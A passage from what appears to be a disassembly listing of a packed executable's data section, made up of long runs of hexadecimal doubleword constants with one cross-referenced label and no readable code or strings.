0DB9CBA47h, 0D7BBB018h dd 56556B29h, 129C7C78h, 0EEF7698Ch, 2F47CCB9h, 6354CDAEh dd 0AFD4342Ch, 6970BDA5h, 0FC219993h, 7028116Dh, 483C73F0h dd 20E72052h, 8026F0A2h, 0CD9FC90Dh, 4430F59Fh, 0F8D39D92h dd 3D538AB8h, 5711A032h, 2754CAE0h, 3A9E589Fh, 9176CC48h dd 74771872h, 0BAF44CE2h, 0DE75D25Bh, 3A1C8476h, 87869AA8h dd 0E7F3E25h, 0AFFA8CDAh, 0C5C3B768h, 0D30ABCC0h, 0FE6D19F2h dd 0D1F7C27Ah, 0CFAEECD4h, 32958DDBh, 9D7C8483h, 0B6AAF08Bh dd 27D4A150h, 0E14A84E2h, 25ED09A7h, 0D665360Dh, 7A7232E0h dd 19CCF216h, 20B0B31Ch, 84AB30D8h, 0D4AA8AA2h, 0E633FCA0h dd 2E3CF6E5h, 2DF2F0A2h, 8C940507h, 9BF5E837h, 6F1AE66Fh dd 0CF715EF6h, 12340020h, 0E578E211h, 0E7F58C77h, 0A1245141h dd 0BC555F3Bh, 9C5A1993h, 0FC97C026h, 89781142h, 4601ED4Fh dd 8492E6A2h, 217EBFC9h, 0ECF8F304h, 5B52BEB4h, 8CD68C37h dd 1A37ADFBh, 8BC60C2Ch, 1E518EB8h, 4CA1F1B0h, 207103A6h dd 1F48B391h, 18B3498Dh, 8A3629E7h, 88467119h, 0A425F18Fh dd 978C63DBh, 66EC33FEh, 1897C7E0h, 92780FC4h, 0ADFAD740h dd 172A4032h, 8C328C8Fh, 65CA8B68h, 4E56937h, 7B7A2B9Bh dd 196BBA75h, 64301201h, 20A58D96h, 9A0C9AD4h, 4A933AADh dd 1A15A282h, 0E24FA5FDh, 0CAE95909h, 38134A7Dh, 4BD8087h dd 738A3384h, 0D6A39E5Fh, 445D55D0h, 0B5512482h, 6C24252h dd 0BA115784h, 0E2B46E30h, 79960D8Eh, 400F3D14h, 0C5E35540h dd 3BB02052h, 0CF6DACh, 0BA4330CCh, 0C6A17E1h, 5AACDDC2h dd 7D3E1B36h, 0FC47A3FCh dd 0C6A0F681h, 7E1905D2h, 8752DF9Bh, 87C7BA06h, 0CFB650AAh dd 91BB645Ch, 226775B0h, 47C27F30h, 841F6BC9h, 871323FAh dd 826948D5h, 38B6BC9Fh, 881BA01Ah, 4F54CEBh, 0CCD95B79h dd 0D0FEB0C0h, 0C321CD77h, 0DEE56A4Eh, 4F737896h, 0A8690A97h dd 68FC30Ah, 0F815E14Bh, 1F3A290Bh, 2D2EB739h, 846153ECh dd 54A7A4DCh, 30B67FE9h, 465FAA0Ah, 36498E64h, 0A535EA69h dd 0A4A9B348h, 93937D6Ah, 0C33DBA11h, 0B6782A6Fh, 0BD1E4551h dd 0AFC8D8D7h, 9C59ED19h, 83C2A2A1h, 602869Ch, 1FA3469h dd 72222239h, 87F6BCF8h, 4E6CCE72h, 0D567907Ch, 6B5F7921h dd 0F5447C6h, 0B6E8D230h, 0EEBDEE79h, 890FE953h, 0B5DBB5F4h dd 0F4270D26h, 81E75B43h, 4F172A09h, 3F4D39FBh, 6E06AB8Eh dd 0BF21BB86h, 0C19DECCFh, 0CCE93D6Ah, 0CA47C588h, 0BB1F1B9Eh dd 13C86939h, 0CA1B4105h, 239877B5h, 0FEA04A2Ah, 0A8612E3Bh dd 8C0C460Ah, 0EA1EA46Dh, 37A0D5ECh, 0CF106922h, 1409422Ch dd 0EB41210h, 79CE3199h, 0FF62E3EDh, 4488D526h, 9ECC02A2h dd 0C1E28896h, 9D06AE13h, 0FCB7D2C7h, 3A59FB8h, 0C6A07C77h dd 68A16E83h, 7A073B1Eh, 1E79FE20h, 256A87B8h, 0C136C3F1h dd 319C2C96h, 90D99369h, 0D4E4310Bh, 1F20CA46h, 0EB22E139h dd 0F9A79C6Ch, 0BCF9B400h, 0CE963F49h, 0EE8C5D8Fh, 2232136Fh dd 0D10F89BEh, 0E8AF1124h, 0E6C86584h, 0FD2A9E5Ah, 58958F0Dh dd 0B29A3727h, 0DEC64FE9h, 673017Ah, 5CB72B4Ch, 11CCC53Ch dd 8488373Ah, 653C9BF5h, 0B2FBDD96h, 93FB2D08h, 0E2EC6072h dd 4CF214ECh, 0D3B16AF5h, 0F75A44A1h, 7F4445C8h, 128F6CA8h dd 11FEC381h, 66E5158Ah, 11BEB898h, 659E77E5h, 3AC3715Ah dd 873044BAh, 4C894A09h, 0AF367BD9h, 0C1E53EB5h, 0FBD0D772h dd 0C6FDE847h, 0AEC569D4h, 0AFB2F0F3h, 2F79ED2Bh, 0CB9428F1h dd 2ABC123Ah, 0D4E70A2Dh, 1378AFF7h, 0D6EEE333h, 8A459CE5h dd 4A6CB2Bh, 0CFB33C32h, 6A2E9935h, 0A642BCCDh, 3A4762Dh dd 0EDCCB290h, 992AE630h, 0E625D7ACh, 8245C6A2h, 707D63EBh dd 0B0CF1AB0h, 2FA283A2h, 0AAC4D416h, 2FD24790h, 7633013Fh dd 0A84D2653h, 0D7F942FEh, 5E54F891h, 0AD1C7A12h, 8690D7Eh dd 0F888F2C0h, 1A8C64CBh, 0BE0B2921h, 3D5CF30h, 0C39E665Ah dd 7DC136FCh, 2ACE64DCh, 2A98D711h, 0A7D5A256h, 961A9A0Dh dd 0BEAB349Bh, 3D152D22h, 82A15CB2h, 63700F1Fh, 0D3768DAh dd 0A1C6B4F8h, 279E8A2h, 1B9679C0h, 9D20C296h, 0B91F8366h dd 60BD4D60h, 1C981B5Ah, 3E9460DCh, 20D00E62h, 0ED2BFC43h dd 0E7719391h, 0B0207165h, 403C5BE2h, 0EDE652BBh, 861D6DFEh dd 0B2258EAEh, 440C796Fh, 0F443E986h, 16B8C20Eh, 0D08BD39Ch dd 8729D798h, 0D31E8DE4h, 18B86C7Eh, 8EFE7h, 987E0149h dd 0CA87FC28h, 82EF6493h, 901C9C4Bh, 0B912C643h, 99D8991Bh dd 0D707EA9h, 4A3CF479h, 95670766h, 1B43614Dh, 9248EEh dd 0F05C90FBh, 66BE53E5h, 3679E4FFh, 0DFB7CBC4h, 0F3748BB0h dd 0E422C196h, 0D2C9BEBCh, 0BADAEC1Fh, 2F10F4CEh, 0EB8B4BBBh dd 53569F4Ch, 2017762Dh, 0FC7974C2h, 6E16C845h, 63605AD9h dd 7F7C9586h, 0E8B52099h, 0F41DD4DEh, 0A5E55FFDh, 0DBDFEBB2h dd 9A7E36CDh, 8E2F23E4h, 5708075Ch, 21DB067Dh, 16EE051Dh dd 0CEA19029h, 1E5193F4h, 0E1D2975Dh, 6E14CA6Dh, 0AA3D5053h dd 45AF22A8h, 6A8A741Bh, 4BAA6B1Bh, 7FB05A6Ah, 7BFC3861h dd 5AAB1CBBh, 0FEF19FA8h, 0D28188Ch, 0AD957ADCh, 8EA237ACh dd 0F1CAF3EAh, 0ACA6885Bh, 0AF318112h, 0A3C9F9C4h, 8350CB9Ah dd 59DB5B0Bh, 8117BB8h, 4687B7B8h, 5943C701h, 88E9547Dh dd 180C82CBh, 0F842112Eh, 8F009707h, 3A1D3847h, 0C572F4EFh dd 73CAAA92h, 298E288Bh, 4C77404Eh, 0C91EEA2Ch, 409BA5DDh dd 0C7EC709Fh, 0D975338Ch, 6DD2E710h, 0C4153399h, 0E0B5EE6Dh dd 3D9825ABh, 717B245h, 0F08C1768h, 0E6E61375h, 0FFD0B11Fh dd 918C6143h, 47030579h, 2B5AEA3h, 65D012D8h, 1B7B2054h dd 0F7C0B386h, 61B1590Fh, 68E31284h, 88DA7D6h, 0A50B88A3h dd 8A8FB1A3h, 0F93A940Eh, 82570E60h, 0FBFD456h, 285184A4h dd 94160B26h, 6C6F051Fh, 3E9EEDB9h, 9132F331h, 59D68463h dd 0A6621D17h, 0E1FA6EE2h, 7E9AEh, 3F3E8770h, 0C2BC8D33h dd 415DB7C2h, 20E153B7h, 1C1D2FCFh, 0CE2C902Ch, 9B945041h dd 572D8D74h, 9223097h, 0FFB4DE63h, 0F96FED2Eh, 0F32CF40Fh dd 2C633E71h, 0C8AD7164h, 86DDC8B7h, 0CC276F68h, 68DB9537h dd 0DEF8E10Fh, 0F22CA73Ah, 90E1ADA5h, 829E03ADh, 317C8D8Eh dd 0DCB29B2Ch, 0CCA1C75Fh, 0D51F208Ah, 4A93E6BEh, 533565EFh dd 661AFD69h, 2796D73h, 8837AE0Bh, 6A7C037Bh, 0A210C3A1h dd 63762155h, 0D688739h, 9E714CB4h, 36B3C1D1h, 0E53A47CEh dd 85CB7690h, 0C9269575h, 0F27D3D1Ch, 0A4F4CEA6h, 66D7475Eh dd 119F01F9h, 1010F2AAh, 4B88D13Dh, 948F8243h, 0C1DCF572h dd 7014585Bh, 34624C07h, 0E4637F07h, 0E40B0827h, 0FD38537Ch dd 37D7D808h, 2C652215h, 711FD61Fh, 454054h, 0C09C9FD5h dd 0F23E4E24h, 465FE61Dh, 8397EF50h, 0C5842427h, 733C7A4Ch dd 0BDE8F870h, 0ACF2B90Eh, 5A2814A3h, 0F3978835h, 9DA20957h dd 9EBE9C3Dh, 74321FC8h, 15A09AE9h, 0D37976F7h, 7D9BF01Dh dd 8D925330h, 0F9D89CD5h, 90FD7455h, 1F8CF5E3h, 811699BDh dd 7615C1F9h, 9F1452F6h, 9E39F272h, 3F35AF93h, 0FCF9ECBEh dd 0C61E445Ch, 654295CCh, 7E9266B8h, 50B07449h, 4FEE5252h dd 0FA6B0177h, 0A4ABE595h, 6F34F630h, 0FFDC17B8h, 876CB0A2h dd 198436A9h, 2B2020F6h, 84D6AC20h, 19298A94h, 55E816DBh dd 0BA234F5Eh, 37BAD095h, 1FC901F6h, 0F1E1E5ACh, 0ABE4701h dd 0FF7BBB1Ch, 21890F8Ah, 228E6143h, 0B032C2CDh, 8383B130h dd 219833D3h, 336A85A2h, 765EB93Bh, 0F9C01D29h, 8D280264h dd 5631FD2h, 1371DF1Ah, 0E650FA4Eh, 0EC322A82h, 0B0C7FB85h dd 2F565D06h, 0A2A66F79h, 9873104Eh, 0B58DC9A0h, 0F6F76670h dd 0A481A507h, 36A37C71h, 7AED4513h, 2D29451Fh, 0ED987944h dd 8C88C78Bh, 0F0005D92h, 0FBA62AB3h, 36E2C6E7h, 0EA4E778Ch dd 78148365h, 2BEC9EACh, 65123FC6h, 58F352B4h, 0BBD8771h dd 0B3C3AE5Bh, 0DDFB6ECCh, 93F334F1h, 6C7993DCh, 0B1CD4BE7h dd 4E857EEBh, 0CB4B3640h, 8EA54694h, 0A8B2C058h, 73E14DBBh dd 28C6F5EFh, 8BF36A2Eh, 91612D20h, 0C0C253F0h, 0A186E600h dd 0CDF70586h, 0DB2BC6A3h, 60B6BE31h, 0E8F75FA6h, 0DF99F5DEh dd 9C814E53h, 6B9F69EEh, 84591B34h, 0F8B0B598h, 931EBE53h dd 9B8AE945h, 0C8A5B42Fh, 0C32627B6h, 22C50409h, 2A5A1AB8h dd 0F47B1B8Eh, 2A732EDh, 97BFB675h, 0A5DCCDBh, 7E24EC0Ch dd 225F22BDh, 0CD109355h, 3A65A32Ch, 2D0D1C0Eh, 0EB08A43Fh dd 8BD18E25h, 0BAA1C973h, 0EF00562Ah, 0C171BEA4h, 0DEF2D32Ch dd 0AE164446h, 483F375Ch, 7002F2CCh, 50C93609h, 8A1B4438h dd 0CFAA237Ah, 96FA2A8Eh, 4A97C7BFh, 0CAB19E23h, 0BEC2878h dd 58AEC3DFh, 0A7455387h, 7A200951h, 0D9296DC9h, 188C8976h dword_4A0000 dd 0F9F0EC16h, 7B355603h, 2E2084Dh, 6104E15Eh, 6509B498h ; DATA XREF: .nsp0:00422470o dd 0E5FBD252h, 4BAC1D33h, 629A6BE3h, 0A7DC1D60h, 4DF0AF80h dd 6DD468E8h, 9D9F2C73h, 7421E695h, 8DC0343Dh, 7374F6C5h dd 73DA021Ch, 0BEEA4AEEh, 2E1FB32Ah, 0BFE67EF8h, 0ADC29116h dd 555D477Bh, 0EE491226h, 372B77C8h, 0C90F6A0Ah, 3D711FE6h dd 7D6D074Fh, 20901739h, 0C37BA267h, 4970AC1Ch, 3826DAE7h dd 6AAAD997h, 24D6D68Eh, 0D441B29Bh, 0E3EE3973h, 0DADD060Fh dd 5A162E8Dh, 0BC8B904Eh, 154CD1E4h, 2DE9DC27h, 84723F7Ch dd 79421A9Ah, 1718DF2Eh, 0D23ED58Dh, 3FBA5A1Dh, 9CC6C8E9h dd 1ED48BFCh, 0DC1CABE3h, 29375B66h, 863572C5h, 0C8B94617h dd 56693DE4h, 0BA23DDF5h, 5C79B79Bh, 0F9D5879Dh, 0B4FD3062h dd 994A9D0Fh, 3B24E09h, 0EC98969h, 45278230h, 6B51F3B8h dd 467B2408h, 22ED26B0h, 0DD48BCB9h, 34923141h, 78987C1Ah dd 8BEFEA62h, 0BAB47C50h, 1B112387h, 6BCB0A80h, 0B48D8C85h dd 92219DD6h, 9A7F27A7h, 1DF2542Dh, 1C19638Ch, 0FCAD8947h dd 88FC81B4h, 77B701DCh, 0FA1930C6h, 73CCA6Ah, 1E2CF0B6h dd 4E5E54F9h, 0A9563588h, 2DB6484Ah, 0BD63156Fh, 0F7E0860Ah dd 2F711DE5h, 39CE7848h, 4EA844DDh, 0B12848A0h, 0E2BCBC00h dd 1D0AE6BBh, 4E76A72Fh, 38C6B664h, 0CE118E94h, 528980ACh dd 0E6D405FDh, 9F6D7D60h, 0F56CFE61h, 0C8271C05h, 4ED8C931h dd 66DED2A5h, 0BE72FBE3h, 6AC19803h, 7858B70h, 3CAD89A4h dd 0D45BB68Bh, 329E56BFh, 2A90C4F8h, 0E65EA695h, 1FCA6840h dd 89C4A58Dh, 8370236Dh, 24B05BBDh, 78FF048h, 0A9665CAh dd 0AB49991h, 0CA3B2D0Eh, 0B1BF2265h, 5732293Ch, 7F84DE21h dd 9828AFBBh, 0ED7A6C5Dh, 4C3ED77Dh, 58C1BBE2h, 2D6A904Ch dd 6268E3D9h, 0F5F3E3CFh, 59ADEA4Dh, 32D86A61h, 5B0F074Eh dd 0C32969D5h, 7BECDCC7h, 2CC249E5h, 0C69E8C6Ch, 0CC781DE8h dd 5CA70BABh, 9F4244F3h, 4517ADA9h, 0F6E8BB45h, 18217FE8h dd 647B8753h, 0EE414DC5h, 0E951FAEh, 496C1A6Ch, 32D98DF3h dd 7BD6A6D4h, 0DC14507Eh, 0D80FD2C5h, 4DD101EDh, 94176DF3h dd 0DEA30035h, 93119938h, 9650A167h, 0CE0D2BACh, 0AF40430Ch dd 31C08F2h, 803AE34h, 0A98C1D74h, 0D4F85DA8h, 19AA4624h dd 0C4A4E840h, 1217F341h, 52DB5530h, 409AA4A5h, 9F9449E1h dd 0BCDB5738h, 0FB9FEB53h, 749F4959h, 7BC4A861h, 8C5E8CE6h dd 4B9D124Ch, 9905895Fh, 6382252Eh, 0BF022C37h, 90C5CFF7h dd 0F49A4ABAh, 0B4E4134Ah, 168C268Eh, 65088CA3h, 0EBB3DFDEh dd 0D3E4513Bh, 8A1204D8h, 610B16A3h, 2D9F6549h, 0C8B99784h dd 44ACA279h, 0EB53077h, 521B51BDh, 0C517CEF4h, 1423B44Eh dd 0A5C0D29Ah, 5A8AB341h, 710FA9CEh, 8DA958AFh, 0E5EEF8BDh dd 1C6A5472h, 6671E08Ch, 8715AFEAh, 8821EA11h, 7F3ECA7Dh dd 0AEC07CFAh, 15DC6380h, 7C0807FDh, 0A1A5A6FAh, 0D4C54D47h dd 0F6407154h, 80C9F5CDh, 0A8F7F56Dh, 0BE470E24h, 0C6DE7BFh dd 63D8583h, 5E04294Ah, 0F828EAD6h, 12FB2BE9h, 8BF00A1Fh dd 9BF0886Eh, 15CA8F82h, 0B2555CE7h, 0C5ABE2Eh, 8F7A028Ch dd 230E7589h, 7A62D5A5h, 836D231h, 4E7A25C0h, 7D0E5F4Dh dd 42B440ADh, 56E3C043h, 0CE23FF2Eh, 1BB4F929h, 5AA6F8D3h dd 0E4F5CC3Dh, 0F39B341Ch, 7B4BA435h, 0A3AC783Ah, 0B09B569h dd 0A97BD6DBh, 30577729h, 4FC4D7B0h, 8DA11814h, 1722F29Fh dd 0A45686BDh, 1619ABD9h, 0FB77AC14h, 9FF89F2Fh, 0AD070968h dd 9EA6D0Dh, 9ED08E42h, 139A3AAEh, 5708A589h, 682C062Ah dd 0EBB77FC2h, 0BFC6DE21h, 0E85CD817h, 95E6CB96h, 617F497h dd 0C077B29Ch, 9AB8A0EEh, 94B514D5h, 0D6B91D74h, 573ED613h dd 32B9426Eh, 3C0138BDh, 46515F98h, 0F0BAC079h, 8266328Ch dd 0E1F3D2F7h, 1EF0F446h, 26EDD0D1h, 0B820AE49h, 8BE687A9h dd 7964A810h, 47970196h, 0B9AF8D17h, 1C7BC20Bh, 35B2C82Fh dd 99202729h, 8614C4F7h, 0D6037D5Dh, 83A900EAh, 0D9198397h dd 33C4C67Dh, 9BBA8B86h, 42FC7854h, 0AD0D92C7h, 672041DDh dd 94734620h, 3A467206h, 1135D6B7h, 0B89494C4h, 0DC65E1FAh dd 879352AEh, 0EA5F3F58h, 713EA64h, 0E839B751h, 8F5602B7h dd 0A346E353h, 13AACD01h, 3F292C22h, 2DC1D3A6h, 0CE668692h dd 69DD6F31h, 0A9C1D958h, 0F17D83A0h, 27F8EB41h, 0FCDF0F3Eh dd 88C22246h, 26DB891h, 26EF1605h, 3BC82EAAh, 3B8B3F3Bh dd 0ABC7205Ch, 6DD67807h, 60F6159Ch, 12E250BEh, 0EABDDC73h dd 0C6510EB7h, 6FAB0510h, 7FE3FAD7h, 0B29BA3DBh, 0B37C109Eh dd 0FB117280h, 6D47442Dh, 0AABB92DFh, 0F4DA3D75h, 447F2159h dd 0F777670Eh, 0D9953BFDh, 0BC076935h, 2F8489A9h, 0A10CD143h dd 2E9558F8h, 0D88162A2h, 0CF139602h, 1980CB9Ah, 76114BEBh dd 0C0051795h, 85E04308h, 0E175599h, 0F994F97Fh, 0B6278CDBh dd 0A0AF3750h, 7EEC95FFh, 4AF2891Fh, 95C22EFBh, 0B4927449h dd 0D9CCB8ABh, 20BF8D3Bh, 5012FE95h, 9C65530Fh, 0AAB1B320h dd 4E3EF614h, 0FCD2C515h, 0E3925FFFh, 1E6D8DFCh, 51BEDF92h dd 64214502h, 7613B75h, 0B801716Dh, 0F48DCBC2h, 876D015Dh dd 0D1E886E7h, 9D9634A3h, 0DA023EA1h, 0B9CEB2C8h, 1D84A828h dd 233E17E3h, 0EDECA69Fh, 671A0C60h, 7ABD8024h, 12DC7BE8h dd 0A2AE1508h, 0B9ECAC39h, 1A21CE3Ah, 0BED41567h, 7DCB0E65h dd 0F4F483EDh, 0B4B9A634h, 0EA7FC369h, 0CCE909BBh, 9FDAF63Dh dd 0A8270F07h, 6FED0425h, 0AD1B9B5Eh, 943065A3h, 6BE41490h dd 60615ACh, 620BDCFFh, 3FCF0B30h, 0C5BF5DD0h, 8F983A7Eh dd 1BF2AA15h, 0F4D2F90Bh, 0B04B69B7h, 8CBB6A19h, 2ACD33D7h dd 94121BA2h, 34A94A8Eh, 8C58F8D0h, 78AC1F5Dh, 0E9C717A8h dd 0D260544Fh, 4BFB2C87h, 7CFA25FCh, 5B32BB1Bh, 0F13A2B9Eh dd 0C9EFB20Bh, 56B894EAh, 0DD2650FCh, 3A783458h, 6BD2A083h dd 47D87B21h, 0C6711192h, 797321BCh, 4EFA08F3h, 3CB80442h dd 5B2C0F81h, 5423745Ah, 0E09F96B7h, 2106DFE3h, 18C557E6h dd 0BCA35EC3h, 0CE686367h, 609B770Bh, 6EBD92B9h, 0BE564BAAh dd 0C0E0422Dh, 8C0B117Eh, 0B755E636h, 4F3D8612h, 52584094h dd 0BAC13FACh, 26A48835h, 0B450D25Fh, 0BD00B800h, 0DEEE62DCh dd 9F7069B9h, 0F1F75B14h, 0FC2AF4BDh, 30AB9E69h, 0F359A154h dd 52E69093h, 0DBDD617Ah, 0E35A672Ah, 0BFB8B50Ah, 0CA12086Eh dd 2647A6D6h, 0E368BD38h, 0CB48207Fh, 60566FABh, 8A0FDE4Ch dd 0F889CCCDh, 0F62F4934h, 6E02320Eh, 0D0254188h, 4E7A4576h dd 9567D786h, 0BAED611Dh, 96EF703Ah, 831C73A7h, 6ACCA58Bh dd 6729A839h, 8DF2532Dh, 5DBFFE12h, 0CE4E21F9h, 2E33F9F6h dd 0F05C4764h, 5DC03B3h, 9DB465CFh, 0CEABD012h, 16B0B11Ch dd 15E6A8D0h, 0E55E789Fh, 0B3FE3879h, 8117E4FAh, 85E438C4h dd 4AF16513h, 2DDFF34Ah, 78943E57h, 0C0D1392Eh, 0A1239DCCh dd 4DCAD690h, 6D157368h, 3BDC7C22h, 0F99989EAh, 22FDB585h dd 2B46BA63h, 4B7078EDh, 61EB63B2h, 1E53A648h, 0F0828030h dd 0E5973B0Fh, 0A3C0098Fh, 0F4AC6D4Eh, 0B4FC9AC2h, 7124C8EDh dd 1B83C4DCh, 0FAF00B73h, 0ABD2DA63h, 3459A96Fh, 205F91BBh dd 0CDDEE14Ch, 9DBAB6D7h, 4823DF49h, 0D2EC3E5Fh, 8600B171h dd 1DCE6AE0h, 9A1DFBDFh, 8EA1BB39h, 53E39CBh, 80952623h dd 31C34EDAh, 46BF74Fh dd 0B9C59E5Ch, 5DCDE910h, 0E2061759h, 0DD7878Bh, 0CF342098h dd 0FFA00598h, 0EDB3FB20h, 61A26D47h, 51F4D040h, 6D6BE4A5h dd 0A5C5107Ah, 0ACDDA76Eh, 4AE41233h, 88D11B21h, 0DC6B4A9Ah dd 1AAD7B8Ah, 0DBE08133h, 0CBA43CFCh, 660D307Eh, 0AF07A7F6h dd 0A30EF68Ah, 0A48024A5h, 0FD224A37h, 28C7A9F7h, 633EDFDCh dd 6694E2EAh, 48C1D108h, 6EE4CCDh, 9888DD1Bh, 73067B5Ah dd 96C9138Ah, 0EB3CB624h, 830007D9h, 7F826C19h, 331DE453h dd 0E1610035h, 86644528h, 9ACB4A7Fh, 52370141h, 660F416Eh dd 85D5A55Ah, 85A1DAD3h, 10288DC5h, 0E94E7D53h, 44163733h dd 0CA168803h, 0EDA6F913h, 6964CF66h, 0A0B60B94h, 91E34E73h dd 0BA0F95D2h, 8BC2949Ah, 53E1A6Eh, 3455DC45h, 9487A67Dh dd 0E401F453h, 4CC9AF6h, 894D35A1h, 423C132Dh, 6D8DC83Ch dd 4168E89Ch, 0F82F30A7h, 144947D9h, 58174D2Ah, 40FCCF93h dd 699F874Dh, 0DA402F63h, 96FF79AEh, 0F29EB733h, 70431D32h dd 95565E3Ah, 368CC5FFh, 0AAB8BFDCh, 0EA8F24BCh, 0A9452E22h dd 23B453ADh, 1F02D428h, 0B1D4413Eh, 55226426h, 9BD93617h dd 0F261840Ah, 0A0C836FDh, 1FEE0FFh, 1E4E840Fh, 9EBEC280h dd 172863E7h, 3C228F1Dh, 0EBA09A15h, 0C19745A6h, 28675B6h dd 2A180139h, 86AAE71Dh, 0D0D53D4Ch, 3F4AE56Dh, 0D79E1585h dd 6E4FB4EDh, 0A383810Fh, 0BE54EAC4h, 0E332228Ah, 0A930301h dd 10BF9A64h, 0D4680D9Bh, 1B2CFF5h, 4D2D7146h, 497EA680h dd 3E24FFBCh, 399BD514h, 8218A598h, 0B6CD7DE9h, 0FE4E6AC0h dd 0CEDCD423h, 0AC58F7B8h, 0EF7203F7h, 0D40B4067h, 9B2BB6A0h dd 3773DEE0h, 95DEB48Dh, 0CB5986C8h, 9E506C5Ch, 90DAAFEBh dd 0BF0991A2h, 0E7C24C60h, 8054EB64h, 0D480724Fh, 0CBE2963h dd 0E9ABF0F1h, 0ABE96AD6h, 0F3E24F9Bh, 0D01334D0h, 58D625B7h dd 622048EFh, 0C5DD25E3h, 0CB93A704h, 0DE8E0060h, 8C5847AFh dd 1B17B838h, 0EB665D78h, 0AA38FF8Dh, 470BC0B6h, 0D4FD8145h dd 9E514916h, 0A391953Dh, 0C296F643h, 0D6210A73h, 347A137Dh dd 0E1EC1B8Eh, 61347828h, 0D045B654h, 44A657h, 516DBC80h dd 754A4B59h, 7BB0FCAAh, 23CE8AEDh, 0B0E89168h, 0DEF9AE6h dd 2B2A7E6Ch, 0FAE799B5h, 0DEAB2313h, 7D6A9E3Ah, 0FD9AA854h dd 0F7388C38h, 30E5306Eh, 4E079317h, 0CDDB40B2h, 6311809Dh dd 0FCF03045h, 0F573A5A2h, 0C9207E74h, 2C27D40Fh, 6560338Bh dd 6164B05Bh, 6DE0498Dh, 0BF3789Eh, 0D05077C5h, 0B6CD55DEh dd 0E134605Ah, 0F9EAB1B6h, 0AB4609C1h, 9E7E5C0Ah, 2C32FB0Fh dd 0AFEAE870h, 304131ADh, 0E490A8C6h, 0FDE46881h, 0BFC9FD8Bh dd 50765469h, 8D9D8FF1h, 40F18310h, 7BA778ACh, 0ADDED649h dd 0BF859768h, 0A51FD5E0h, 3BA51340h, 6CF7368Bh, 185163B0h dd 0A8BD19B1h, 15A981ADh, 6B02D77h, 0D5FC4F5h, 43477031h dd 68022BA6h, 0EC882633h, 3F68FA03h, 40077FEAh, 87D5DF67h dd 10BC9D4Ah, 0AA9AD9DFh, 0FDD6A73Ah, 0CD6DBAE0h, 0FCCEE012h dd 0A1EC54Dh, 32E9F77Bh, 0BFBC3441h, 0E50AD4A8h, 0D6BF24AFh dd 6ADDE411h, 228DF8B7h, 0B3900321h, 806B1B3Fh, 0B557B676h dd 4DBA4465h, 0F2DD8279h, 4E3D6138h, 7B221D00h, 0FD1DC2B3h dd 0E365A4ABh, 465C2067h, 0CA89C81h, 5494DD23h, 3C666E08h dd 0E9B455DCh, 0ADCA2682h, 0B00D1553h, 0A2F299CFh, 72E4A81Ch dd 4C790F93h, 2E66F2F2h, 187EF267h, 0E284150Ah, 0ED454550h dd 0E1CC7249h, 30E29BEEh, 759DB8C6h, 4A42213Dh, 0D34870C7h dd 0FE48845Eh, 4E1D7964h, 0D4C169E5h, 0F70237AEh, 54DB627Eh dd 0E4870531h, 907FE9BCh, 0D5D754E1h, 529D823h, 51AC042Fh dd 0BCA9DB21h, 0FDE7E3D5h, 0F8518942h, 0A4A570A5h, 0C4B112A4h dd 47DED221h, 6022635Fh, 0F52C4253h, 91058C57h, 0D9CB95CEh dd 0A79A2B29h, 0F453BCEBh, 73AB4B95h, 0A2287F63h, 88035462h dd 3B546B1Bh, 2AF9C8ACh, 6A6242B7h, 0DBAEBDE3h, 0F89F30A9h dd 97ACF4BCh, 2C1E73AFh, 90F746DEh, 0F554CDh, 0BE7A9F3Bh dd 0BBFA63CDh, 54011A9Fh, 9546FFF2h, 4B2CF5A5h, 99C7F7FEh dd 0E65EF753h, 12E376EBh, 0C0DF6CBBh, 7C8B6319h, 0C7334A72h dd 0FD5635D2h, 31DE1987h, 19E1C3E2h, 1EFF5EBBh, 6E483AD3h dd 0C8E9A138h, 3238FFE1h, 2F5FD21Fh, 6780B4CDh, 18D813CDh dd 0E34A0370h, 0CF5FC8A8h, 9FE6C3E6h, 93D0C5CCh, 0EF7D3135h dd 658FC02Fh, 37600629h, 0E13C5E85h, 9857CABEh, 0AB0B63E6h dd 0DD12C252h, 121FBD5Eh, 2E696AFFh, 0D07F93Eh, 146EFF49h dd 1CBC6D1Dh, 0B1080570h, 7193FEDAh, 43B2E030h, 60035926h dd 9DC38191h, 75EB1F10h, 0D955ED29h, 5CDB7C69h, 0AC5B2E18h dd 0AD9C6B72h, 0F1AA398h, 717CEAF4h, 5FDEB0A7h, 0BDB358F0h dd 0E3FC79D7h, 0C1D2EB0h, 0A0BD1988h, 0DF48B18Ah, 7787EBF3h dd 0E041A5A8h, 903F91A6h, 3E904A6Dh, 0F2F23E8Dh, 9DCDC7F0h dd 0EC930015h, 0B4DAC40Fh, 713266F3h, 0CC6C4BFCh, 0FB72CC1Fh dd 0EB982D0Eh, 4AA41C90h, 0BF7441DBh, 0B71F893Bh, 81719374h dd 3AB22DA7h, 0A5F2B874h, 178D8C7Eh, 931458BEh, 0E87A1B75h dd 85871184h, 0ADB43D0Bh, 96D7E04h, 0C2B5E03Ah, 0AF2C85AAh dd 0E76401ADh, 3BF82ECCh, 0B8787950h, 511DDB84h, 0B7E6D244h dd 0D0B4BF81h, 5BA2FCE6h, 929E1B13h, 0DA8E8A26h, 93FF30ACh dd 51398EC3h, 0F685E2B8h, 66BFFFE1h, 0EB8CD13Ah, 1BEEC313h dd 0E8E3EA11h, 0B229127Fh, 9270284Dh, 47BF96DBh, 3F962A02h dd 8965DA60h, 0BDBFF9F6h, 13FA2993h, 9DD06811h, 0AF400236h dd 9ECAA43Ah, 7CDA0C79h, 0FFA6B571h, 4AAC28ACh, 0ACB3B855h dd 81DE75F8h, 0F5E58B09h, 867BCD37h, 9EA5842Ah, 0B593020Ch dd 7D760DBFh, 3F88370Ah, 7F0123Ah, 4D06F373h, 44B581C2h dd 9A0F1FB6h, 4A61ACB0h, 41CEC354h, 3B628625h, 0D2422339h dd 3CA6FFE8h, 1D1563E4h, 0F27C5EDBh, 0B2D3F409h, 905F68BAh dd 6199EDBCh, 0E294F8FEh, 4D7DBFB1h, 0D0458132h, 0E55124D8h dd 3F843144h, 8214A53Eh, 0E667F22Eh, 0CDC0B0C0h, 212707A6h dd 5E2D4697h, 0B966EBF1h, 0FA23B85Ch, 98C67979h, 549C6747h dd 0A2916D87h, 0B2D48132h, 7734C588h, 343EE9D9h, 2F2360EBh dd 0DC6CDF22h, 77A69A08h, 0ADE63648h, 27016299h, 5EEE73F2h dd 0ECC32D0Eh, 0D65B52C3h, 94351626h, 0A8A0A92Eh, 46F626F7h dd 69C99E95h, 64E4B476h, 4E150BA8h, 0CA138634h, 0B4E7BD28h dd 4C806BDh, 6DED83C3h, 884E2FD4h, 1FCF93DCh, 